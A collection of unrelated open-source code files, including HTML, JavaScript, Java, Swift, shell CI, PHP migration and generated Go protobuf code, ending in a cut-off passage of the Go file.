<meta name="apple-mobile-web-app-status-bar-style" content="black" />
<link rel="stylesheet" type="text/css" href="../../../src/core/famous.css" />
<link rel="stylesheet" type="text/css" href="../../assets/css/app.css" />
<link rel="stylesheet" type="text/css" href="../../assets/css/famous_styles.css" />
<script type="text/javascript" src="../../assets/lib/functionPrototypeBind.js"></script>
<script type="text/javascript" src="../../assets/lib/classList.js"></script>
<script type="text/javascript" src="../../assets/lib/requestAnimationFrame.js"></script>
<script type="text/javascript" src="../../assets/lib/require.js"></script>
<script type="text/javascript">
require.config({
paths: {
famous: '../../../src'
}
});
require(['example']);
</script>
</head>
<body></body>
</html>
| {
"pile_set_name": "Github"
} |
var baseAssign = require('../internal/baseAssign'),
baseCreate = require('../internal/baseCreate'),
isIterateeCall = require('../internal/isIterateeCall');
/**
* Creates an object that inherits from the given `prototype` object. If a
* `properties` object is provided its own enumerable properties are assigned
* to the created object.
*
* @static
* @memberOf _
* @category Object
* @param {Object} prototype The object to inherit from.
* @param {Object} [properties] The properties to assign to the object.
* @param- {Object} [guard] Enables use as a callback for functions like `_.map`.
* @returns {Object} Returns the new object.
* @example
*
* function Shape() {
* this.x = 0;
* this.y = 0;
* }
*
* function Circle() {
* Shape.call(this);
* }
*
* Circle.prototype = _.create(Shape.prototype, {
* 'constructor': Circle
* });
*
* var circle = new Circle;
* circle instanceof Circle;
* // => true
*
* circle instanceof Shape;
* // => true
*/
function create(prototype, properties, guard) {
var result = baseCreate(prototype);
if (guard && isIterateeCall(prototype, properties, guard)) {
properties = undefined;
}
return properties ? baseAssign(result, properties) : result;
}
module.exports = create;
| {
"pile_set_name": "Github"
} |
<!DOCTYPE html>
<meta charset="utf-8">
<title>CSS Test: text-emphasis line height, left, vertical-lr, span</title>
<link rel="author" title="Xidorn Quan" href="https://www.upsuper.org">
<link rel="author" title="Mozilla" href="https://www.mozilla.org">
<link rel="help" href="https://drafts.csswg.org/css-text-decor-3/#text-emphasis-position-property">
<meta name="assert" content="text emphasis marks should expand the line height like ruby if necessary">
<link rel="match" href="text-emphasis-line-height-004-ref.html">
<p>Pass if the emphasis marks are to the right of the black line:</p>
<div style="line-height: 1; border-left: 1px solid black; writing-mode: vertical-lr; text-emphasis-position: over left;"><span style="text-emphasis: circle;">試験テスト</span></div>
| {
"pile_set_name": "Github"
} |
package am2.armor.infusions;
import am2.api.items.armor.IArmorImbuement;
import am2.api.items.armor.ImbuementApplicationTypes;
import am2.api.items.armor.ImbuementTiers;
import cpw.mods.fml.relauncher.ReflectionHelper;
import net.minecraft.entity.player.EntityPlayer;
import net.minecraft.item.ItemStack;
import net.minecraft.potion.Potion;
import net.minecraft.potion.PotionEffect;
import net.minecraft.world.World;
import java.util.ArrayList;
import java.util.EnumSet;
public class Dispelling implements IArmorImbuement{
@Override
public String getID(){
return "dispel";
}
@Override
public int getIconIndex(){
return 25;
}
@Override
public ImbuementTiers getTier(){
return ImbuementTiers.FOURTH;
}
@Override
public EnumSet<ImbuementApplicationTypes> getApplicationTypes(){
return EnumSet.of(ImbuementApplicationTypes.ON_TICK);
}
@Override
public boolean applyEffect(EntityPlayer player, World world, ItemStack stack, ImbuementApplicationTypes matchedType, Object... params){
if (player.getActivePotionEffects().size() == 0)
return false;
if (player.worldObj.isRemote)
return false;
ArrayList<Integer> effectsToRemove = new ArrayList<Integer>();
Object[] safeCopy = player.getActivePotionEffects().toArray();
for (Object o : safeCopy){
PotionEffect pe = (PotionEffect)o;
boolean badEffect = ReflectionHelper.getPrivateValue(Potion.class, Potion.potionTypes[pe.getPotionID()], 35);
if (pe.getIsAmbient() || !badEffect) continue;
effectsToRemove.add(pe.getPotionID());
}
for (Integer i : effectsToRemove){
player.removePotionEffect(i);
}
return effectsToRemove.size() > 0;
}
@Override
public int[] getValidSlots(){
return new int[]{ImbuementRegistry.SLOT_LEGS};
}
@Override
public boolean canApplyOnCooldown(){
return false;
}
@Override
public int getCooldown(){
return 600;
}
@Override
public int getArmorDamage(){
return 75;
}
}
| {
"pile_set_name": "Github"
} |
//
// _SwinjectStoryboardBase.m
// Swinject
//
// Created by Yoichi Tagaya on 8/1/15.
// Copyright © 2015 Swinject Contributors. All rights reserved.
//
#import "_SwinjectStoryboardBase.h"
@implementation _SwinjectStoryboardBase
+ (nonnull instancetype)_create:(nonnull NSString *)name bundle:(nullable NSBundle *)storyboardBundleOrNil {
return [self storyboardWithName:name bundle:storyboardBundleOrNil];
}
@end
| {
"pile_set_name": "Github"
} |
import UIKit
import ThemeKit
class TransactionInfoStatusCell: ThemeCell {
private let titleView = TransactionInfoTitleView()
private let statusLabel = UILabel()
private let statusIcon = UIImageView()
private let barsProgressView = BarsProgressView(barWidth: 4, color: .themeGray50, inactiveColor: .themeSteel20)
override init(style: CellStyle, reuseIdentifier: String?) {
super.init(style: style, reuseIdentifier: reuseIdentifier)
contentView.addSubview(titleView)
titleView.snp.makeConstraints { maker in
maker.leading.top.bottom.equalToSuperview()
}
titleView.bind(text: "tx_info.status".localized)
contentView.addSubview(statusLabel)
statusLabel.snp.makeConstraints { maker in
maker.leading.equalTo(titleView.snp.trailing)
maker.centerY.equalToSuperview()
}
statusLabel.setContentCompressionResistancePriority(.required, for: .horizontal)
statusLabel.textAlignment = .right
statusLabel.font = .subhead1
statusLabel.textColor = .themeLeah
contentView.addSubview(statusIcon)
statusIcon.snp.makeConstraints { maker in
maker.leading.equalTo(statusLabel.snp.trailing).offset(CGFloat.margin2x)
maker.trailing.equalToSuperview().inset(CGFloat.margin4x)
maker.centerY.equalToSuperview()
}
statusIcon.setContentCompressionResistancePriority(.required, for: .horizontal)
contentView.addSubview(barsProgressView)
barsProgressView.snp.makeConstraints { maker in
maker.leading.equalTo(statusLabel.snp.trailing).offset(CGFloat.margin2x).priority(.low)
maker.trailing.equalToSuperview().inset(CGFloat.margin4x)
maker.centerY.equalToSuperview()
maker.height.equalTo(18)
}
barsProgressView.set(barsCount: BarsProgressView.progressStepsCount)
}
required init?(coder: NSCoder) {
fatalError("init(coder:) has not been implemented")
}
func bind(status: TransactionStatus, incoming: Bool) {
super.bind(bottomSeparatorVisible: true)
statusIcon.isHidden = true
barsProgressView.stopAnimating()
barsProgressView.isHidden = true
switch status {
case .completed: bindCompleted()
case .pending: bindProcessing(progress: 0, incoming: incoming)
case .processing(let progress): bindProcessing(progress: progress, incoming: incoming)
case .failed: bindFailed()
}
}
private func bindCompleted() {
bindIcon(image: UIImage(named: "Transaction Info Completed Icon")?.tinted(with: .themeRemus))
statusLabel.text = "tx_info.status.confirmed".localized
}
private func bindProcessing(progress: Double, incoming: Bool) {
barsProgressView.isHidden = false
barsProgressView.set(filledColor: incoming ? .themeGreenD : .themeYellowD)
barsProgressView.set(progress: progress)
barsProgressView.startAnimating()
statusLabel.text = incoming ? "transactions.receiving".localized : "transactions.sending".localized
}
private func bindFailed() {
bindIcon(image: UIImage(named: "Attention Icon")?.tinted(with: .themeLucian))
statusLabel.text = "tx_info.status.failed".localized
}
private func bindIcon(image: UIImage?) {
statusIcon.isHidden = false
statusIcon.image = image
}
}
| {
"pile_set_name": "Github"
} |
#!/bin/bash
set -ev
if [ "$TRAVIS_REPO_SLUG" == "cyclestreets/android" ] &&[ "$CI" == "true" ] && [ "$TRAVIS_BRANCH" == "master" ] && [ "$TRAVIS_PULL_REQUEST" == "false" ]; then
echo "Running a non-PR build on master - set up signing info"
openssl aes-256-cbc -k $openssl_file_encryption_key -md md5 -in cyclestreets.app/license.properties.enc -out cyclestreets.app/license.properties -d
openssl aes-256-cbc -k $openssl_file_encryption_key -md md5 -in cyclestreets.app/signature.asc.enc -out cyclestreets.app/signature.asc -d
openssl aes-256-cbc -k $openssl_file_encryption_key -md md5 -in cyclestreets.app/keystore.enc -out cyclestreets.app/keystore -d
openssl aes-256-cbc -k $openssl_file_encryption_key -md md5 -in cyclestreets.app/play-api-key.json.enc -out cyclestreets.app/play-api-key.json -d
openssl aes-256-cbc -k $openssl_file_encryption_key -md md5 -in libraries/cyclestreets-core/src/test/resources/cyclestreets-api.key.enc -out libraries/cyclestreets-core/src/test/resources/cyclestreets-api.key -d
else
echo "The compiled artifact will have a dummy signature"
cp cyclestreets.app/license.properties.dummy cyclestreets.app/license.properties
cp cyclestreets.app/keystore.dummy cyclestreets.app/keystore
fi
| {
"pile_set_name": "Github"
} |
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.ververica.flink.table.gateway.rest.handler;
import com.ververica.flink.table.gateway.rest.message.SessionIdPathParameter;
import com.ververica.flink.table.gateway.rest.message.SessionMessageParameters;
import com.ververica.flink.table.gateway.rest.session.SessionManager;
import com.ververica.flink.table.gateway.utils.SqlGatewayException;
import org.apache.flink.api.common.time.Time;
import org.apache.flink.runtime.rest.handler.HandlerRequest;
import org.apache.flink.runtime.rest.handler.RestHandlerException;
import org.apache.flink.runtime.rest.messages.EmptyRequestBody;
import org.apache.flink.runtime.rest.messages.EmptyResponseBody;
import org.apache.flink.runtime.rest.messages.MessageHeaders;
import org.apache.flink.shaded.netty4.io.netty.handler.codec.http.HttpResponseStatus;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import javax.annotation.Nonnull;
import java.util.Map;
import java.util.concurrent.CompletableFuture;
/**
* Request handler for triggering session heartbeat.
*/
public class SessionHeartbeatHandler
extends AbstractRestHandler<EmptyRequestBody, EmptyResponseBody, SessionMessageParameters> {
private static final Logger LOG = LoggerFactory.getLogger(SessionHeartbeatHandler.class);
private SessionManager sessionManager;
public SessionHeartbeatHandler(
SessionManager sessionManager,
Time timeout,
Map<String, String> responseHeaders,
MessageHeaders<EmptyRequestBody, EmptyResponseBody, SessionMessageParameters> messageHeaders) {
super(timeout, responseHeaders, messageHeaders);
this.sessionManager = sessionManager;
}
@Override
protected CompletableFuture<EmptyResponseBody> handleRequest(
@Nonnull HandlerRequest<EmptyRequestBody, SessionMessageParameters> request) throws RestHandlerException {
String sessionId = request.getPathParameter(SessionIdPathParameter.class);
try {
LOG.info("heartbeat for Session: {}", sessionId);
sessionManager.getSession(sessionId);
return CompletableFuture.completedFuture(EmptyResponseBody.getInstance());
} catch (SqlGatewayException e) {
throw new RestHandlerException(e.getMessage(), HttpResponseStatus.INTERNAL_SERVER_ERROR, e);
}
}
}
| {
"pile_set_name": "Github"
} |
{
"name": "OrangeGames IP BV",
"displayName": "OrangeGames IP",
"properties": [
"bgames.com",
"mediaglacier.com",
"orangegames.com",
"tibaco.net"
]
} | {
"pile_set_name": "Github"
} |
name=Firmata
version=2.5.8
author=Firmata Developers
maintainer=https://github.com/firmata/arduino
sentence=Enables the communication with computer apps using a standard serial protocol. For all Arduino/Genuino boards.
paragraph=The Firmata library implements the Firmata protocol for communicating with software on the host computer. This allows you to write custom firmware without having to create your own protocol and objects for the programming environment that you are using.
category=Device Control
url=https://github.com/firmata/arduino
architectures=*
| {
"pile_set_name": "Github"
} |
unittest{{{}}{}{{{{}}}}}
| {
"pile_set_name": "Github"
} |
---
source: src/tests/cases/ui.rs
expression: "&terminal_draw_events_mirror[0]"
---
Window too small ¯\_(ツ )_/
| {
"pile_set_name": "Github"
} |
db.IncomingInvoiceRegisteredEvent.find({}).forEach(function(i){
i.WithholdingTaxDescription = null;
i.WithholdingTaxRate = null;
i.WithholdingTaxTaxableAmountRate = null;
i.WithholdingTaxAmount = null;
i.TotalToPay = i.TotalPrice;
db.IncomingInvoiceRegisteredEvent.update({ _id: i._id }, i);
});
db.IncomingCreditNoteRegisteredEvent.find({}).forEach(function(i){
i.WithholdingTaxDescription = null;
i.WithholdingTaxRate = null;
i.WithholdingTaxTaxableAmountRate = null;
i.WithholdingTaxAmount = null;
i.TotalToPay = i.TotalPrice;
db.IncomingCreditNoteRegisteredEvent.update({ _id: i._id }, i);
}); | {
"pile_set_name": "Github"
} |
/*
* Copyright (c) 2008, 2009, Oracle and/or its affiliates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation. Oracle designates this
* particular file as subject to the "Classpath" exception as provided
* by Oracle in the LICENSE file that accompanied this code.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* You should have received a copy of the GNU General Public License version
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
* or visit www.oracle.com if you need additional information or have any
* questions.
*/
package sun.nio.fs;
import jdk.internal.misc.TerminatingThreadLocal;
import jdk.internal.misc.Unsafe;
/**
* Factory for native buffers.
*/
class NativeBuffers {
private NativeBuffers() { }
private static final Unsafe unsafe = Unsafe.getUnsafe();
private static final int TEMP_BUF_POOL_SIZE = 3;
private static ThreadLocal<NativeBuffer[]> threadLocal = new TerminatingThreadLocal<>() {
@Override
protected void threadTerminated(NativeBuffer[] buffers) {
// threadLocal may be initialized but with initialValue of null
if (buffers != null) {
for (int i = 0; i < TEMP_BUF_POOL_SIZE; i++) {
NativeBuffer buffer = buffers[i];
if (buffer != null) {
buffer.free();
buffers[i] = null;
}
}
}
}
};
/**
* Allocates a native buffer, of at least the given size, from the heap.
*/
static NativeBuffer allocNativeBuffer(int size) {
// Make a new one of at least 2k
if (size < 2048) size = 2048;
return new NativeBuffer(size);
}
/**
* Returns a native buffer, of at least the given size, from the thread
* local cache.
*/
static NativeBuffer getNativeBufferFromCache(int size) {
// return from cache if possible
NativeBuffer[] buffers = threadLocal.get();
if (buffers != null) {
for (int i=0; i<TEMP_BUF_POOL_SIZE; i++) {
NativeBuffer buffer = buffers[i];
if (buffer != null && buffer.size() >= size) {
buffers[i] = null;
return buffer;
}
}
}
return null;
}
/**
* Returns a native buffer, of at least the given size. The native buffer
* is taken from the thread local cache if possible; otherwise it is
* allocated from the heap.
*/
static NativeBuffer getNativeBuffer(int size) {
NativeBuffer buffer = getNativeBufferFromCache(size);
if (buffer != null) {
buffer.setOwner(null);
return buffer;
} else {
return allocNativeBuffer(size);
}
}
/**
* Releases the given buffer. If there is space in the thread local cache
* then the buffer goes into the cache; otherwise the memory is deallocated.
*/
static void releaseNativeBuffer(NativeBuffer buffer) {
// create cache if it doesn't exist
NativeBuffer[] buffers = threadLocal.get();
if (buffers == null) {
buffers = new NativeBuffer[TEMP_BUF_POOL_SIZE];
buffers[0] = buffer;
threadLocal.set(buffers);
return;
}
// Put it in an empty slot if such exists
for (int i=0; i<TEMP_BUF_POOL_SIZE; i++) {
if (buffers[i] == null) {
buffers[i] = buffer;
return;
}
}
// Otherwise replace a smaller one in the cache if such exists
for (int i=0; i<TEMP_BUF_POOL_SIZE; i++) {
NativeBuffer existing = buffers[i];
if (existing.size() < buffer.size()) {
existing.free();
buffers[i] = buffer;
return;
}
}
// free it
buffer.free();
}
/**
* Copies a byte array and zero terminator into a given native buffer.
*/
static void copyCStringToNativeBuffer(byte[] cstr, NativeBuffer buffer) {
long offset = Unsafe.ARRAY_BYTE_BASE_OFFSET;
long len = cstr.length;
assert buffer.size() >= (len + 1);
unsafe.copyMemory(cstr, offset, null, buffer.address(), len);
unsafe.putByte(buffer.address() + len, (byte)0);
}
/**
* Copies a byte array and zero terminator into a native buffer, returning
* the buffer.
*/
static NativeBuffer asNativeBuffer(byte[] cstr) {
NativeBuffer buffer = getNativeBuffer(cstr.length+1);
copyCStringToNativeBuffer(cstr, buffer);
return buffer;
}
}
| {
"pile_set_name": "Github"
} |
/* Copyright (C) 1992, 93, 96, 97, 98, 99, 2004 Free Software Foundation, Inc.
* This file is part of the GNU C Library.
*
* The GNU C Library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* The GNU C Library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with the GNU C Library; if not, write to the Free
* Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
* 02111-1307 USA.
*/
#include <config.h>
#include <stdarg.h>
#include <stdio.h>
#if HAVE_STRING_H
#include <string.h>
#endif /* HAVE_STRING_H */
#include "replacements.h"
/* Taken from glibc 2.6.1 */
char *
tds_strsep(char **stringp, const char *delim)
{
char *begin, *end;
begin = *stringp;
if (begin == NULL)
return NULL;
/* A frequent case is when the delimiter string contains only one
* character. Here we don't need to call the expensive `strpbrk'
* function and instead work using `strchr'. */
if (delim[0] == '\0') {
end = NULL;
} else if (delim[1] == '\0') {
char ch = delim[0];
if (*begin == ch)
end = begin;
else if (*begin == '\0')
end = NULL;
else
end = strchr(begin + 1, ch);
} else {
/* Find the end of the token. */
end = strpbrk(begin, delim);
}
if (end) {
/* Terminate the token and set *STRINGP past NUL character. */
*end++ = '\0';
} else {
/* No more delimiters; this is the last token. */
}
*stringp = end;
return begin;
}
| {
"pile_set_name": "Github"
} |
# (void)walker command line interface
# Copyright (C) 2012 David Holm <dholmster@gmail.com>
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import abc
class Parameter(object):
__metaclass__ = abc.ABCMeta
def init(self):
pass
@staticmethod
def name():
raise NotImplementedError
@abc.abstractmethod
def default_value(self):
raise NotImplementedError
class PrefixParameter(Parameter):
__metaclass__ = abc.ABCMeta
@classmethod
def get_value(cls):
raise TypeError
@abc.abstractmethod
def default_value(self):
raise NotImplementedError
class BooleanParameter(Parameter):
__metaclass__ = abc.ABCMeta
@abc.abstractmethod
def default_value(self):
raise NotImplementedError
class EnumParameter(Parameter):
__metaclass__ = abc.ABCMeta
@abc.abstractmethod
def sequence(self):
raise NotImplementedError
class IntegerParameter(Parameter):
__metaclass__ = abc.ABCMeta
@abc.abstractmethod
def default_value(self):
raise NotImplementedError
class ParameterFactory(object):
__metaclass__ = abc.ABCMeta
@abc.abstractmethod
def create(self, parameter_type):
raise NotImplementedError
class ParameterBuilder(object):
def __init__(self, factory, config):
for Param in _parameter_list:
param = factory.create(Param)
param.init()
config.register_parameter(param)
def register_parameter(cls):
_parameter_list.append(cls)
return cls
_parameter_list = []
| {
"pile_set_name": "Github"
} |
/// Copyright (c) 2012 Ecma International. All rights reserved.
/**
* @path ch15/15.2/15.2.3/15.2.3.6/15.2.3.6-4-477.js
* @description ES5 Attributes - [[Set]] attribute of accessor property ([[Get]] is undefined, [[Set]] is a Function, [[Enumerable]] is false, [[Configurable]] is true) is the expected function
*/
function testcase() {
var obj = {};
var verifySetFunc = "data";
var setFunc = function (value) {
verifySetFunc = value;
};
Object.defineProperty(obj, "prop", {
get: undefined,
set: setFunc,
enumerable: false,
configurable: true
});
obj.prop = "overrideData";
var propertyDefineCorrect = obj.hasOwnProperty("prop");
var desc = Object.getOwnPropertyDescriptor(obj, "prop");
return propertyDefineCorrect && desc.set === setFunc && verifySetFunc === "overrideData";
}
runTestCase(testcase);
| {
"pile_set_name": "Github"
} |
<?php
/**
* This file is part of the OpenPNE package.
* (c) OpenPNE Project (http://www.openpne.jp/)
*
* For the full copyright and license information, please view the LICENSE
* file and the NOTICE file that were distributed with this source code.
*/
class creating311Tables extends Doctrine_Migration_Base
{
public function migrate($direction)
{
$conn = Doctrine_Manager::connection();
$list = $conn->import->listTables();
if ($direction == 'up' && in_array('banner', $list))
{
return null;
}
$this->table($direction, 'banner',
array(
'id' => array('type' => 'integer', 'primary' => '1', 'autoincrement' => '1', 'length' => '4'),
'name' => array('type' => 'string', 'default' => '', 'notnull' => '1', 'length' => '64'),
'html' => array('type' => 'string', 'length' => ''),
'is_use_html' => array('type' => 'boolean', 'default' => '0', 'notnull' => '1', 'length' => '25'),
),
array(
'indexes' => array(
'name_UNIQUE' => array('fields' => array(0 => 'name'), 'type' => 'unique'),
),
'primary' => array(0 => 'id'),
'charset' => 'utf8',
));
$this->table($direction, 'banner_translation',
array(
'id' => array('type' => 'integer', 'length' => '4', 'primary' => '1'),
'caption' => array('type' => 'string', 'notnull' => '1', 'length' => ''),
'lang' => array('fixed' => '1', 'primary' => '1', 'type' => 'string', 'length' => '5'),
),
array(
'primary' => array(0 => 'id', 1 => 'lang'),
'charset' => 'utf8',
));
$this->table($direction, 'banner_image',
array(
'id' => array('type' => 'integer', 'length' => '4', 'primary' => '1'),
'file_id' => array('type' => 'integer', 'notnull' => '1', 'length' => '4'),
'url' => array('type' => 'string', 'length' => ''),
'name' => array('type' => 'string', 'length' => '64'),
'created_at' => array('notnull' => '1', 'type' => 'timestamp', 'length' => '25'),
'updated_at' => array('notnull' => '1', 'type' => 'timestamp', 'length' => '25'),
),
array(
'primary' => array(0 => 'id'),
'charset' => 'utf8',
));
$this->table($direction, 'banner_use_image',
array(
'id' => array('type' => 'integer', 'length' => '4', 'primary' => '1'),
'banner_id' => array('type' => 'integer', 'notnull' => '1', 'length' => '4'),
'banner_image_id' => array('type' => 'integer', 'notnull' => '1', 'length' => '4'),
'created_at' => array('notnull' => '1', 'type' => 'timestamp', 'length' => '25'),
'updated_at' => array('notnull' => '1', 'type' => 'timestamp', 'length' => '25'),
),
array(
'primary' => array(0 => 'id'),
'charset' => 'utf8',
));
$this->table($direction, 'o_auth_admin_token',
array(
'id' => array('type' => 'integer', 'length' => '4', 'primary' => '1'),
'oauth_consumer_id' => array('type' => 'integer', 'notnull' => '1', 'length' => '4'),
'key_string' => array('type' => 'string', 'default' => '', 'notnull' => '1', 'length' => '16'),
'secret' => array('type' => 'string', 'default' => '', 'notnull' => '1', 'length' => '32'),
'type' => array('type' => 'enum', 'values' => array(0 => 'request', 1 => 'access'), 'default' => 'request', 'length' => ''),
'expires_at' => array('type' => 'timestamp', 'length' => '25'),
'is_active' => array('type' => 'boolean', 'default' => '1', 'notnull' => '1', 'length' => '25'),
'created_at' => array('notnull' => '1', 'type' => 'timestamp', 'length' => '25'),
'updated_at' => array('notnull' => '1', 'type' => 'timestamp', 'length' => '25'),
),
array(
'indexes' => array(
'key_secret_UNIQUE' => array('fields' => array(0 => 'key_string', 1 => 'secret'), 'type' => 'unique'),
),
'primary' => array(0 => 'id'),
'charset' => 'utf8',
));
$this->table($direction, 'oauth_consumer',
array(
'id' => array('type' => 'integer', 'length' => '4', 'primary' => '1'),
'name' => array('type' => 'string', 'default' => '', 'notnull' => '1', 'length' => '64'),
'description' => array('type' => 'string', 'length' => ''),
'type' => array('type' => 'enum', 'values' => array(0 => 'browser', 1 => 'client'), 'default' => 'browser', 'length' => ''),
'key_string' => array('type' => 'string', 'default' => '', 'notnull' => '1', 'length' => '16'),
'secret' => array('type' => 'string', 'default' => '', 'notnull' => '1', 'length' => '32'),
'file_id' => array('type' => 'integer', 'length' => '4'),
'created_at' => array('notnull' => '1', 'type' => 'timestamp', 'length' => '25'),
'updated_at' => array('notnull' => '1', 'type' => 'timestamp', 'length' => '25'),
),
array(
'indexes' => array(
'key_secret_UNIQUE' => array('fields' => array(0 => 'key_string', 1 => 'secret'), 'type' => 'unique'),
),
'primary' => array(0 => 'id'),
'charset' => 'utf8',
));
$this->table($direction, 'session',
array(
'id' => array('type' => 'integer', 'length' => '4', 'primary' => '1'),
'data' => array('type' => 'string', 'length' => ''),
'time' => array('type' => 'string', 'length' => ''),
),
array(
'primary' => array(0 => 'id'),
'charset' => 'utf8',
));
}
}
| {
"pile_set_name": "Github"
} |
/*
Copyright 2018 The Kubernetes Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
// Code generated by protoc-gen-gogo.
// source: k8s.io/kubernetes/vendor/k8s.io/api/autoscaling/v2beta1/generated.proto
// DO NOT EDIT!
/*
Package v2beta1 is a generated protocol buffer package.
It is generated from these files:
k8s.io/kubernetes/vendor/k8s.io/api/autoscaling/v2beta1/generated.proto
It has these top-level messages:
CrossVersionObjectReference
HorizontalPodAutoscaler
HorizontalPodAutoscalerCondition
HorizontalPodAutoscalerList
HorizontalPodAutoscalerSpec
HorizontalPodAutoscalerStatus
MetricSpec
MetricStatus
ObjectMetricSource
ObjectMetricStatus
PodsMetricSource
PodsMetricStatus
ResourceMetricSource
ResourceMetricStatus
*/
package v2beta1
import proto "github.com/gogo/protobuf/proto"
import fmt "fmt"
import math "math"
import k8s_io_apimachinery_pkg_api_resource "k8s.io/apimachinery/pkg/api/resource"
import k8s_io_apimachinery_pkg_apis_meta_v1 "k8s.io/apimachinery/pkg/apis/meta/v1"
import k8s_io_api_core_v1 "k8s.io/api/core/v1"
import strings "strings"
import reflect "reflect"
import io "io"
// Reference imports to suppress errors if they are not otherwise used.
var _ = proto.Marshal
var _ = fmt.Errorf
var _ = math.Inf
// This is a compile-time assertion to ensure that this generated file
// is compatible with the proto package it is being compiled against.
// A compilation error at this line likely means your copy of the
// proto package needs to be updated.
const _ = proto.GoGoProtoPackageIsVersion2 // please upgrade the proto package
func (m *CrossVersionObjectReference) Reset() { *m = CrossVersionObjectReference{} }
func (*CrossVersionObjectReference) ProtoMessage() {}
func (*CrossVersionObjectReference) Descriptor() ([]byte, []int) {
return fileDescriptorGenerated, []int{0}
}
func (m *HorizontalPodAutoscaler) Reset() { *m = HorizontalPodAutoscaler{} }
func (*HorizontalPodAutoscaler) ProtoMessage() {}
func (*HorizontalPodAutoscaler) Descriptor() ([]byte, []int) { return fileDescriptorGenerated, []int{1} }
func (m *HorizontalPodAutoscalerCondition) Reset() { *m = HorizontalPodAutoscalerCondition{} }
func (*HorizontalPodAutoscalerCondition) ProtoMessage() {}
func (*HorizontalPodAutoscalerCondition) Descriptor() ([]byte, []int) {
return fileDescriptorGenerated, []int{2}
}
func (m *HorizontalPodAutoscalerList) Reset() { *m = HorizontalPodAutoscalerList{} }
func (*HorizontalPodAutoscalerList) ProtoMessage() {}
func (*HorizontalPodAutoscalerList) Descriptor() ([]byte, []int) {
return fileDescriptorGenerated, []int{3}
}
func (m *HorizontalPodAutoscalerSpec) Reset() { *m = HorizontalPodAutoscalerSpec{} }
func (*HorizontalPodAutoscalerSpec) ProtoMessage() {}
func (*HorizontalPodAutoscalerSpec) Descriptor() ([]byte, []int) {
return fileDescriptorGenerated, []int{4}
}
func (m *HorizontalPodAutoscalerStatus) Reset() { *m = HorizontalPodAutoscalerStatus{} }
func (*HorizontalPodAutoscalerStatus) ProtoMessage() {}
func (*HorizontalPodAutoscalerStatus) Descriptor() ([]byte, []int) {
return fileDescriptorGenerated, []int{5}
}
func (m *MetricSpec) Reset() { *m = MetricSpec{} }
func (*MetricSpec) ProtoMessage() {}
func (*MetricSpec) Descriptor() ([]byte, []int) { return fileDescriptorGenerated, []int{6} }
func (m *MetricStatus) Reset() { *m = MetricStatus{} }
func (*MetricStatus) ProtoMessage() {}
func (*MetricStatus) Descriptor() ([]byte, []int) { return fileDescriptorGenerated, []int{7} }
func (m *ObjectMetricSource) Reset() { *m = ObjectMetricSource{} }
func (*ObjectMetricSource) ProtoMessage() {}
func (*ObjectMetricSource) Descriptor() ([]byte, []int) { return fileDescriptorGenerated, []int{8} }
func (m *ObjectMetricStatus) Reset() { *m = ObjectMetricStatus{} }
func (*ObjectMetricStatus) ProtoMessage() {}
func (*ObjectMetricStatus) Descriptor() ([]byte, []int) { return fileDescriptorGenerated, []int{9} }
func (m *PodsMetricSource) Reset() { *m = PodsMetricSource{} }
func (*PodsMetricSource) ProtoMessage() {}
func (*PodsMetricSource) Descriptor() ([]byte, []int) { return fileDescriptorGenerated, []int{10} }
func (m *PodsMetricStatus) Reset() { *m = PodsMetricStatus{} }
func (*PodsMetricStatus) ProtoMessage() {}
func (*PodsMetricStatus) Descriptor() ([]byte, []int) { return fileDescriptorGenerated, []int{11} }
func (m *ResourceMetricSource) Reset() { *m = ResourceMetricSource{} }
func (*ResourceMetricSource) ProtoMessage() {}
func (*ResourceMetricSource) Descriptor() ([]byte, []int) { return fileDescriptorGenerated, []int{12} }
func (m *ResourceMetricStatus) Reset() { *m = ResourceMetricStatus{} }
func (*ResourceMetricStatus) ProtoMessage() {}
func (*ResourceMetricStatus) Descriptor() ([]byte, []int) { return fileDescriptorGenerated, []int{13} }
func init() {
proto.RegisterType((*CrossVersionObjectReference)(nil), "k8s.io.api.autoscaling.v2beta1.CrossVersionObjectReference")
